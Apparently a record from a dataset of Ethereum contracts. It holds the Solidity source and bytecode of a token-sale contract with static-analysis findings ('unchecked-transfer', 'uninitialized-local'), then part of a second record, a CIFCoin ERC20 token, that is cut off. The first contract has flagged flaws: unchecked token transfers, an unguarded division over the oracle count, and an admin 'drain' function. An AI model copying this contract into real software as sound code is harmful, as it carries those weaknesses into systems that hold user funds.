uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
interface IMomentumSaleV1{
function createSaleContract(uint256 _allocated, uint8 _source) external returns(bool);
function increaseAllocation(uint256 _amount, uint256 _saleId) external returns(bool);
function purchaseWithEth() external payable returns(bool);
function adminPurchase(uint256 _amountToken, uint256 _usdPurchase, uint256 _pricePurchase) external returns(bool);
function fetchTokenPrice() external returns(uint256);
function claim(uint256 _saleId) external returns(bool);
function resolveBonus(uint256 _saleId, address _user) external returns(uint256);
function resolveBonusPercent(uint256 _saleId) external returns(bool);
function updateNewEdgexSource(address _newSource, uint8 _index) external returns(bool);
function revokeOwnership(address _newOwner) external returns(bool);
function updateEthSource(address _newSource) external returns(bool);
function updateEdgexTokenContract(address _newSource) external returns(bool);
function updatePricePerToken(uint256 _price) external returns(bool);
}
interface IWhiteListOracle {
function whitelist(address _user) external returns(bool);
function blacklist(address _user) external returns(bool);
function transferGovernor(address _newGovernor) external returns(bool);
function whitelisted(address _user) external view returns(bool);
}
contract MomentumSaleV1 is ReentrancyGuard {
address public admin;
address public ethWallet;
address public organisation;
address public governor;
address public whitelistOracle;
uint256 public totalSaleContracts;
uint256 public pricePerToken;
address public ethPriceSource;
address public edgexTokenContract;
uint256 public lastCreated;
uint256 public totalOracles = 15;
struct Sale{
uint256 usdPurchase;
uint256 pricePurchase; // 8 decimal
uint256 amountPurchased;
uint256 timestamp;
bool isAllocated;
uint256 bonus;
uint256 saleId;
}
struct SaleInfo{
uint256 start;
uint256 end;
uint256 allocated;
uint256 totalPurchased;
uint8 priceSource;
}
mapping(address => uint256) public totalPurchases;
mapping(address => mapping(uint256 => Sale)) public sale;
mapping(uint256 => SaleInfo) public info;
mapping(uint256 => address) public oracle;
event RevokeOwnership(address indexed _owner);
event UpdatePrice(uint256 _newPrice);
event UpdateGovernor(address indexed _governor);
constructor(
address _admin,
address _organisation,
address _ethWallet,
address _governor,
uint256 _pricePerToken,
address _ethPriceSource,
address _whitelistOracle,
address _edgexTokenContract
)
{
admin = _admin;
organisation = _organisation;
ethWallet = _ethWallet;
governor = _governor;
pricePerToken = _pricePerToken;
whitelistOracle = _whitelistOracle;
ethPriceSource = _ethPriceSource;
edgexTokenContract = _edgexTokenContract;
}
modifier onlyAdmin(){
require(msg.sender == admin, "Caller not admin");
_;
}
modifier onlyGovernor(){
require(msg.sender == governor, "Caller not governor");
_;
}
modifier isZero(address _address){
require(_address != address(0),"Invalid Address");
_;
}
function isWhitelisted(address _user) public virtual view returns(bool){
return IWhiteListOracle(whitelistOracle).whitelisted(_user);
}
function createSaleContract(uint256 _allocated, uint8 _source) public onlyGovernor returns(bool) {
require(
Math.add(lastCreated,2 hours) < block.timestamp,
"Create After Sometime"
);
SaleInfo storage i = info[Math.add(totalSaleContracts,1)];
i.start = block.timestamp;
i.end = Math.add(block.timestamp,2 hours);
i.allocated = Math.mul(_allocated,10 ** 18);
i.priceSource = _source;
lastCreated = block.timestamp;
totalSaleContracts = Math.add(totalSaleContracts,1);
return true;
}
function increaseAllocation(uint256 _amount, uint256 _saleId) public onlyGovernor returns(bool){
SaleInfo storage i = info[_saleId];
require(
block.timestamp < i.end,
"Sale Ended"
);
i.allocated = Math.add(
i.allocated,
Math.mul(_amount,10**18)
);
return true;
}
function purchaseWithEth() public payable nonReentrant returns(bool){
SaleInfo storage i = info[totalSaleContracts];
require(
i.totalPurchased <= i.allocated,
"Sold Out"
);
require(
block.timestamp < i.end,
"Purchase Ended"
);
require(isWhitelisted(msg.sender),"Address not verified");
(
uint256 _amountToken,
uint256 _pricePurchase,
uint256 _usdPurchase
) = resolverEther(msg.value);
Sale storage s = sale[msg.sender][Math.add(totalPurchases[msg.sender],1)];
s.usdPurchase = _usdPurchase;
s.amountPurchased = _amountToken;
s.pricePurchase = _pricePurchase;
s.timestamp = block.timestamp;
s.saleId = totalSaleContracts;
i.totalPurchased = Math.add(i.totalPurchased,_amountToken);
totalPurchases[msg.sender] = Math.add(totalPurchases[msg.sender],1);
payable(ethWallet).transfer(msg.value);
return true;
}
function adminPurchase(
uint256 _amountToken,
uint256 _usdPurchase,
uint256 _pricePurchase
) public onlyGovernor returns(bool){
SaleInfo storage i = info[totalSaleContracts];
require(
i.totalPurchased <= i.allocated,
"Sold Out"
);
require(
block.timestamp < i.end,
"Purchase Ended"
);
Sale storage s = sale[msg.sender][Math.add(totalPurchases[msg.sender],1)];
s.usdPurchase = _usdPurchase;
s.amountPurchased = _amountToken;
s.pricePurchase = _pricePurchase;
s.timestamp = block.timestamp;
s.saleId = totalSaleContracts;
i.totalPurchased = Math.add(i.totalPurchased,_amountToken);
totalPurchases[msg.sender] = Math.add(totalPurchases[msg.sender],1);
return true;
}
function resolverEther(uint256 _amountEther) public view returns(uint256,uint256,uint256){
uint256 ethPrice = uint256(fetchEthPrice());
ethPrice = Math.mul(_amountEther,ethPrice);
uint256 price = fetchTokenPrice();
uint256 _tokenAmount = Math.div(ethPrice,price);
return(_tokenAmount,price,ethPrice);
}
function fetchTokenPrice() public view returns(uint256){
SaleInfo storage i = info[totalSaleContracts];
if(i.priceSource == 0){
return pricePerToken;
}
else{
return uint256(fetchEdgexPrice());
}
}
function fetchEthPrice() public view returns (int) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = AggregatorV3Interface(ethPriceSource).latestRoundData();
return price;
}
function fetchEdgexPrice() public view returns (uint256) {
uint256 totalPrice;
uint256 validOracles;
for(uint256 i = 0; i < totalOracles ; i++){
if(oracle[i] != address(0)){
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = AggregatorV3Interface(oracle[i]).latestRoundData();
totalPrice = Math.add(totalPrice,uint256(price));
validOracles = Math.add(validOracles,1);
}
}
return Math.div(totalPrice, validOracles);
}
function claim(uint256 _saleId) public nonReentrant returns(bool){
Sale storage s = sale[msg.sender][_saleId];
SaleInfo storage i = info[s.saleId];
require(
!s.isAllocated,
"Already Settled"
);
require(
block.timestamp > i.end,
"Sale Not Yet Ended"
);
uint256 _bonusTokens = resolveBonus(_saleId,msg.sender);
s.bonus = _bonusTokens;
s.isAllocated = true;
IERC20(edgexTokenContract)
.transfer(
msg.sender,
Math.add(s.amountPurchased,_bonusTokens)
);
IERC20(edgexTokenContract)
.transfer(
organisation,
Math.div(s.amountPurchased,100)
);
return true;
}
function resolveBonus(uint256 _saleId,address _user) public view returns(uint256){
Sale storage s = sale[_user][_saleId];
uint256 _bonusPercent = resolveBonusPercent(s.saleId);
uint256 _bonusTokens = Math.mul(s.amountPurchased,_bonusPercent);
_bonusTokens = Math.div(_bonusTokens,10**6);
return _bonusTokens;
}
function resolveBonusPercent(uint256 _saleId) public view returns(uint256){
SaleInfo storage i = info[_saleId];
uint _salePercent = Math.div(
Math.mul(i.totalPurchased,10**6),
i.allocated);
if(_salePercent < 30 * 10 ** 4) {
return 0;
}
else if(_salePercent > 30 * 10 ** 4 && _salePercent < 40 * 10 ** 4){
return 10000;
}
else if(_salePercent > 40 * 10 ** 4 && _salePercent < 50 * 10 ** 4){
return 25000;
}
else if(_salePercent > 50 * 10 ** 4 && _salePercent < 60 * 10 ** 4){
return 40000;
}
else if(_salePercent > 60 * 10 ** 4 && _salePercent < 70 * 10 ** 4){
return 50000;
}
else if(_salePercent > 70 * 10 ** 4 && _salePercent < 80 * 10 ** 4){
return 65000;
}
else if(_salePercent > 80 * 10 ** 4 && _salePercent < 90 * 10 ** 4){
return 75000;
}
else{
return 100000;
}
}
function updateNewEdgexSource(address _newSource, uint8 index) public onlyAdmin isZero(_newSource) returns(bool){
oracle[index] = _newSource;
return true;
}
function revokeOwnership(address _newOwner) public onlyAdmin isZero(_newOwner) returns(bool){
admin = payable(_newOwner);
emit RevokeOwnership(_newOwner);
return true;
}
function updateEthSource(address _newSource) public onlyAdmin isZero(_newSource) returns(bool){
ethPriceSource = _newSource;
return true;
}
function updateEdgexTokenContract(address _newSource) public onlyAdmin isZero(_newSource) returns(bool){
edgexTokenContract = _newSource;
return true;
}
function updatePricePerToken(uint256 _price) public onlyAdmin returns(bool){
pricePerToken = _price;
emit UpdatePrice(_price);
return true;
}
function drain(address _to, uint256 _amount) public onlyAdmin isZero(_to) returns(bool){
IERC20(edgexTokenContract).transfer(_to,_amount);
return true;
}
function updateWhiteListOracle(address _newOracle) public onlyAdmin isZero(_newOracle) returns(bool){
whitelistOracle = _newOracle;
return true;
}
function updateGovernor(address _newGovernor) public onlyGovernor isZero(_newGovernor) returns(bool){
governor = _newGovernor;
emit UpdateGovernor(_newGovernor);
return true;
}
} | 0x6080604052600436106102045760003560e01c80638874f62811610118578063b184be81116100a0578063e738c3501161006f578063e738c35014610777578063f2041b381461078c578063f2fbad47146107a1578063f7ee25f1146107b6578063f851a440146107cb57610204565b8063b184be81146106e1578063b1e918731461071a578063bd3685041461074d578063c552b7de1461076257610204565b80639ce89da0116100e75780639ce89da0146105e2578063a58c37821461061e578063a7b13f3914610651578063ab34b72114610684578063afff5a64146106cc57610204565b80638874f6281461055c5780638ec294a0146105865780638f7d02d1146105b0578063925aa2ad146105da57610204565b8063526f48231161019b57806372437abc1161016a57806372437abc1461048157806372e91bd8146104a85780637ad37869146104e15780637b1b1de61461051457806383cfbd7f1461052957610204565b8063526f482314610375578063611efc09146103a557806362f384ad146104185780636330ea251461044b57610204565b80633af32abf116101d75780633af32abf146102e557806342f371c614610318578063438b12d11461032d5780634cfd82b41461034257610204565b806309094f7a146102095780630c340a241461023a5780632e3405991461024f578063379607f5146102a7575b600080fd5b34801561021557600080fd5b5061021e6107e0565b604080516001600160a01b039092168252519081900360200190f35b34801561024657600080fd5b5061021e6107ef565b34801561025b57600080fd5b506102796004803603602081101561027257600080fd5b50356107fe565b60408051958652602086019490945284840192909252606084015260ff166080830152519081900360a00190f35b3480156102b357600080fd5b506102d1600480360360208110156102ca57600080fd5b5035610830565b604080519115158252519081900360200190f35b3480156102f157600080fd5b506102d16004803603602081101561030857600080fd5b50356001600160a01b0316610ab8565b34801561032457600080fd5b5061021e610b3d565b34801561033957600080fd5b5061021e610b4c565b34801561034e57600080fd5b506102d16004803603602081101561036557600080fd5b50356001600160a01b0316610b5b565b34801561038157600080fd5b506102d16004803603604081101561039857600080fd5b5080359060200135610c25565b3480156103b157600080fd5b506103de600480360360408110156103c857600080fd5b506001600160a01b038135169060200135610cff565b6040805197885260208801969096528686019490945260608601929092521515608085015260a084015260c0830152519081900360e00190f35b34801561042457600080fd5b506102d16004803603602081101561043b57600080fd5b50356001600160a01b0316610d4b565b34801561045757600080fd5b506102d16004803603606081101561046e57600080fd5b5080359060208101359060400135610e41565b34801561048d57600080fd5b50610496610fe1565b60408051918252519081900360200190f35b3480156104b457600080fd5b50610496600480360360408110156104cb57600080fd5b50803590602001356001600160a01b03166110ee565b3480156104ed57600080fd5b506104966004803603602081101561050457600080fd5b50356001600160a01b031661114c565b34801561052057600080fd5b5061049661115e565b34801561053557600080fd5b506102d16004803603602081101561054c57600080fd5b50356001600160a01b0316611164565b34801561056857600080fd5b5061021e6004803603602081101561057f57600080fd5b5035611257565b34801561059257600080fd5b506102d1600480360360208110156105a957600080fd5b5035611272565b3480156105bc57600080fd5b50610496600480360360208110156105d357600080fd5b5035611307565b6102d161143b565b3480156105ee57600080fd5b506102d16004803603604081101561060557600080fd5b5080356001600160a01b0316906020013560ff1661168d565b34801561062a57600080fd5b506102d16004803603604081101561064157600080fd5b508035906020013560ff16611766565b34801561065d57600080fd5b506102d16004803603602081101561067457600080fd5b50356001600160a01b0316611899565b34801561069057600080fd5b506106ae600480360360208110156106a757600080fd5b5035611963565b60408051938452602084019290925282820152519081900360600190f35b3480156106d857600080fd5b506104966119a4565b3480156106ed57600080fd5b506102d16004803603604081101561070457600080fd5b506001600160a01b0381351690602001356119aa565b34801561072657600080fd5b506102d16004803603602081101561073d57600080fd5b50356001600160a01b0316611ad9565b34801561075957600080fd5b50610496611ba3565b34801561076e57600080fd5b50610496611bda565b34801561078357600080fd5b5061021e611be0565b34801561079857600080fd5b50610496611bef565b3480156107ad57600080fd5b50610496611c7f565b3480156107c257600080fd5b5061021e611c85565b3480156107d757600080fd5b5061021e611c94565b6002546001600160a01b031681565b6004546001600160a01b031681565b600e60205260009081526040902080546001820154600283015460038401546004909401549293919290919060ff1685565b60006002600054141561088a576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026000908155338152600d60209081526040808320858452825280832060068101548452600e909252909120600482015460ff1615610903576040805162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e4814d95d1d1b1959608a1b604482015290519081900360640190fd5b80600101544211610950576040805162461bcd60e51b815260206004820152601260248201527114d85b1948139bdd0816595d08115b99195960721b604482015290519081900360640190fd5b600061095c85336110ee565b6005840181905560048401805460ff1916600117905560095460028501549192506001600160a01b03169063a9059cbb9033906109999085611ca3565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156109df57600080fd5b505af11580156109f3573d6000803e3d6000fd5b505050506040513d6020811015610a0957600080fd5b505060095460035460028501546001600160a01b039283169263a9059cbb921690610a35906064611d04565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a7b57600080fd5b505af1158015610a8f573d6000803e3d6000fd5b505050506040513d6020811015610aa557600080fd5b5060019450505050506001600055919050565b60055460408051636c9b2a3f60e11b81526001600160a01b0384811660048301529151600093929092169163d936547e91602480820192602092909190829003018186803b158015610b0957600080fd5b505afa158015610b1d573d6000803e3d6000fd5b505050506040513d6020811015610b3357600080fd5b505190505b919050565b6008546001600160a01b031681565b6003546001600160a01b031681565b6001546000906001600160a01b03163314610bb0576040805162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b604482015290519081900360640190fd5b816001600160a01b038116610bfe576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b600980546001600160a01b0385166001600160a01b03199091161790556001915050919050565b6004546000906001600160a01b03163314610c7d576040805162461bcd60e51b815260206004820152601360248201527221b0b63632b9103737ba1033b7bb32b93737b960691b604482015290519081900360640190fd5b6000828152600e6020526040902060018101544210610cd0576040805162461bcd60e51b815260206004820152600a60248201526914d85b1948115b99195960b21b604482015290519081900360640190fd5b610cef8160020154610cea86670de0b6b3a7640000611d46565b611ca3565b6002909101555060015b92915050565b600d6020908152600092835260408084209091529082529020805460018201546002830154600384015460048501546005860154600690960154949593949293919260ff909116919087565b6004546000906001600160a01b03163314610da3576040805162461bcd60e51b815260206004820152601360248201527221b0b63632b9103737ba1033b7bb32b93737b960691b604482015290519081900360640190fd5b816001600160a01b038116610df1576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0385169081179091556040517f49e8ccdfbc26d458bf9e9a05311a53187820bf3c43fc5da574ddfb40e871353990600090a250600192915050565b6004546000906001600160a01b03163314610e99576040805162461bcd60e51b815260206004820152601360248201527221b0b63632b9103737ba1033b7bb32b93737b960691b604482015290519081900360640190fd5b6006546000908152600e60205260409020600281015460038201541115610ef2576040805162461bcd60e51b815260206004820152600860248201526714dbdb190813dd5d60c21b604482015290519081900360640190fd5b80600101544210610f3b576040805162461bcd60e51b815260206004820152600e60248201526d141d5c98da185cd948115b99195960921b604482015290519081900360640190fd5b336000908152600d60209081526040808320600c9092528220548290610f62906001611ca3565b815260208101919091526040016000208581556002810187905560018101859055426003808301919091556006805490830155830154909150610fa59087611ca3565b6003830155336000908152600c6020526040902054610fc5906001611ca3565b336000908152600c602052604090205550600195945050505050565b60008080805b600b548110156110db576000818152600f60205260409020546001600160a01b0316156110d3576000818152600f6020526040808220548151633fabe5a360e21b8152915183928392839283926001600160a01b039092169163feaf968c9160048083019260a0929190829003018186803b15801561106557600080fd5b505afa158015611079573d6000803e3d6000fd5b505050506040513d60a081101561108f57600080fd5b508051602082015160408301516060840151608090940151929850909650945090925090506110be8885611ca3565b97506110cb876001611ca3565b965050505050505b600101610fe7565b506110e68282611d04565b925050505b90565b6001600160a01b0381166000908152600d6020908152604080832085845290915281206006810154829061112190611307565b90506000611133836002015483611d46565b905061114281620f4240611d04565b9695505050505050565b600c6020526000908152604090205481565b60075481565b6001546000906001600160a01b031633146111b9576040805162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b604482015290519081900360640190fd5b816001600160a01b038116611207576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0385169081179091556040517f2d760b10f59f9d65a092cfebe73f70fd0a4e19e59791ffd61ee3057a0010ad9890600090a250600192915050565b600f602052600090815260409020546001600160a01b031681565b6001546000906001600160a01b031633146112c7576040805162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b604482015290519081900360640190fd5b60078290556040805183815290517f1a15ab7124a4e1ce00837351261771caf1691cd7d85ed3a0ac3157a1ee1a38059181900360200190a1506001919050565b6000818152600e60205260408120600381015482906113379061132d90620f4240611d46565b8360020154611d04565b9050620493e081101561134f57600092505050610b38565b620493e081118015611363575062061a8081105b156113745761271092505050610b38565b62061a808111801561138857506207a12081105b15611399576161a892505050610b38565b6207a120811180156113ad5750620927c081105b156113be57619c4092505050610b38565b620927c0811180156113d25750620aae6081105b156113e35761c35092505050610b38565b620aae60811180156113f75750620c350081105b156114085761fde892505050610b38565b620c35008111801561141c5750620dbba081105b1561142e57620124f892505050610b38565b620186a092505050610b38565b600060026000541415611495576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600260008181556006548152600e6020526040902090810154600382015411156114f1576040805162461bcd60e51b815260206004820152600860248201526714dbdb190813dd5d60c21b604482015290519081900360640190fd5b8060010154421061153a576040805162461bcd60e51b815260206004820152600e60248201526d141d5c98da185cd948115b99195960921b604482015290519081900360640190fd5b61154333610ab8565b61158b576040805162461bcd60e51b81526020600482015260146024820152731059191c995cdcc81b9bdd081d995c9a599a595960621b604482015290519081900360640190fd5b600080600061159934611963565b336000908152600d60209081526040808320600c9092528220549497509295509093509182906115ca906001611ca3565b81526020810191909152604001600020828155600281018590556001810184905542600380830191909155600680549083015586015490915061160d9085611ca3565b6003860155336000908152600c602052604090205461162d906001611ca3565b336000908152600c60205260408082209290925560025491516001600160a01b0392909216913480156108fc0292909190818181858888f1935050505015801561167b573d6000803e3d6000fd5b50600195505050505050600160005590565b6001546000906001600160a01b031633146116e2576040805162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b604482015290519081900360640190fd5b826001600160a01b038116611730576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b505060ff166000908152600f6020526040902080546001600160a01b0319166001600160a01b0392909216919091179055600190565b6004546000906001600160a01b031633146117be576040805162461bcd60e51b815260206004820152601360248201527221b0b63632b9103737ba1033b7bb32b93737b960691b604482015290519081900360640190fd5b426117cd600a54611c20611ca3565b10611817576040805162461bcd60e51b815260206004820152601560248201527443726561746520416674657220536f6d6574696d6560581b604482015290519081900360640190fd5b6000600e600061182a6006546001611ca3565b815260208101919091526040016000204280825590915061184d90611c20611ca3565b600182015561186484670de0b6b3a7640000611d46565b600282015560048101805460ff191660ff851617905542600a5560065461188c906001611ca3565b6006555060019392505050565b6001546000906001600160a01b031633146118ee576040805162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b604482015290519081900360640190fd5b816001600160a01b03811661193c576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b600580546001600160a01b0385166001600160a01b03199091161790556001915050919050565b600080600080611971611bef565b905061197d8582611d46565b90506000611989611ba3565b905060006119978383611d04565b9791965091945092505050565b600a5481565b6001546000906001600160a01b031633146119ff576040805162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b604482015290519081900360640190fd5b826001600160a01b038116611a4d576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b6009546040805163a9059cbb60e01b81526001600160a01b038781166004830152602482018790529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015611aa357600080fd5b505af1158015611ab7573d6000803e3d6000fd5b505050506040513d6020811015611acd57600080fd5b50600195945050505050565b6001546000906001600160a01b03163314611b2e576040805162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b604482015290519081900360640190fd5b816001600160a01b038116611b7c576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b600880546001600160a01b0385166001600160a01b03199091161790556001915050919050565b6006546000908152600e60205260408120600481015460ff16611bca5750506007546110eb565b611bd2610fe1565b9150506110eb565b60065481565b6005546001600160a01b031681565b600080600080600080600860009054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b158015611c4657600080fd5b505afa158015611c5a573d6000803e3d6000fd5b505050506040513d60a0811015611c7057600080fd5b50602001519550505050505090565b600b5481565b6009546001600160a01b031681565b6001546001600160a01b031681565b600082820183811015611cfd576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6000611cfd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611db5565b600082611d5557506000610cf9565b82820282848281611d6257fe5b0414611cfd576040805162461bcd60e51b815260206004820152601760248201527f6d756c7469706c69636174696f6e206f766572666c6f77000000000000000000604482015290519081900360640190fd5b60008183611e415760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e06578181015183820152602001611dee565b50505050905090810190601f168015611e335780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611e4d57fe5b049594505050505056fea264697066735822122061eec0ca71bf620f5fc57695d1d647a06abc518142f5be937fe8c3f6fbcbcf8264736f6c63430007040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 670 |
0x66572a0463f300bc0779e1f472d5f5c2fe09c562 | pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public supply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(balances[_to] + _value >= balances[_to]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause(bool newState);
event Unpause(bool newState);
bool public paused = false;
/**
* Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause(true);
}
/**
* called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause(false);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract CIFCoin is PausableToken {
string public constant name = "CIFCoin";
string public constant symbol = "CIF";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 41500000e18; //41.5 million
modifier validDestination( address to )
{
require(to != address(0x0));
require(to != address(this));
_;
}
mapping(address => bool) frozen;
function CIFCoin() public
{
// assign the total tokens to CrowdIF
supply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0x0), msg.sender, INITIAL_SUPPLY);
}
function totalSupply() constant public returns (uint256) {
return supply;
}
function transfer(address _to, uint _value) validDestination(_to) public returns (bool)
{
require(!isFrozen(msg.sender));
require(!isFrozen(_to));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) validDestination(_to) public returns (bool)
{
require(!isFrozen(msg.sender));
require(!isFrozen(_from));
require(!isFrozen(_to));
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
